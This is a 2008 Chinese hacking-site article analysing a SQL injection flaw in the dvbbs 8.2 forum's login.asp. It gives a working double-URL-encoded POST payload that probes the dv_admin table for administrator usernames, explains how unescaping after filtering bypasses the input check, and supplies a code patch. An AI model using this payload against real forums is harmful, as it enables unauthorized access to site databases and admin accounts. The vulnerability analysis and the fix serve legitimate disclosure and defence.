黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 脚本入侵 >> 正文
·Vista下上网冲浪与众不同06-02·微调Web站点以适应XP SP06-02
·安装Vista SP1后遇到声音06-02·在XP和Windows Server 206-02
·第一主机提供CN免费域名06-02·超级主机提供200M/FTP免06-02
·企业服务器 SQL Server弱06-01·3389任意密码登陆(vb源码06-01
·Dvbbs8.2 access/sql 版06-01·dvbbs 8.2 SQL注射漏洞分06-01
·网络嗅探器SniffX使用说06-01·phpwind管理权限泄露漏洞06-01
·免费发彩信的工具06-01·不安装/不修改文件 让XP06-01
·藏再隐秘也没用 高效利用06-01·EveryDNS提供免费域名DN06-01
·ZWRO互联提供500M免费全06-01·对 XP中出现故障服务进行05-30
·让XP和Vista一样拥有动态05-30·让病毒和木马白白运行05-29
·给你的IE套件盔甲05-29·轻松破解Vista系统密码05-29
·利用sohu网站URL跳转漏洞05-29·F2blog XMLRPC 上传文件05-29
·FLASH网马现身互联网05-29·我在入侵过程中注意到的05-29
·用好Windows Server 20005-29·OpenDNS提供免费DNS服务05-29
[图文]dvbbs 8.2 SQL注射漏洞分析
        ★★★★★

dvbbs 8.2 SQL注射漏洞分析

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2008-6-1 9:58:13

漏洞公告:http://seclists.org/bugtraq/2008/May/0330.html

利用方式:一个典型的sql注射漏洞,按照公告里说的用

password=123123&codestr=71&CookieDate=2&userhidden=2&comeurl=index.asp&submit=%u7ACB%u5373%u767B%u5F55&ajaxPost=1&username=where%2527%2520and%25201%253D%2528select%2520count%2528*%2529%2520from%2520dv_admin%2520where%2520left%2528username%252C1%2529%253D%2527a%2527%2529%2520and%2520%25271%2527%253D%25271

就可触发.

漏洞分析:动网在asp领域也算一个比较元老的程序,这次在8.2新版里有一个低级的错误.漏洞代码在login.asp 118行左右

以下是引用片段:
......
username=trim(Dvbbs.CheckStr(request("username")))
If ajaxPro Then username = unescape(username)
......

取得的username是先经过检查然后再unescape解码,导致用urlencode模式就可以饶过任何检查,和php的urldecode导致的注射很类似,譬如用%2527就可以提交’过去了.

修补方案:修补也很简单,将上述代码改成

以下是引用片段:
......
username=trim(Dvbbs.CheckStr(request("username")))
If ajaxPro Then username = trim(Dvbbs.CheckStr(unescape(username)))
......
文章录入:cainiaowang    责任编辑:xinlian 
【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
VIP 专 区
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886